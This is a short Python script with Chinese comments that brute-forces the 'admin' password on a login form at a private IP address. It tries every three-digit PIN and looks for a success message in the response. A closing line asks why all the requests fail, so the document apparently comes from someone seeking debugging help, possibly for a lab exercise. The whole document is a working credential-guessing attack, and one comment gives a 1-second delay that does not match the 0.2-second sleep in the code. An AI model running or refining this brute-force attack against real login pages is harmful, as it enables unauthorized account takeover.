import requests
from requests.exceptions import RequestException
import time

username = "admin"

for password in range(1000):
    try:
        # 发送 POST 请求
        response = requests.post("http://172.28.1.40:8001/login", data={"username": username, "password": str(password).zfill(3)})

        # 判断响应
        if "登录成功" in response.text:
            print(f"找到了正确的密码: {str(password).zfill(3)}")
            break
        else:
            print(f"尝试的密码{str(password).zfill(3)}失败")
    except RequestException as e:
        print(f"在尝试密码{str(password).zfill(3)}时发生了网络错误：{str(e)}")
        # 如果需要在网络错误后立即停止尝试，取消下面一行的注释
        # break

    # 在每次请求之间延时1秒
    time.sleep(0.2)
此代码为什么都请求失败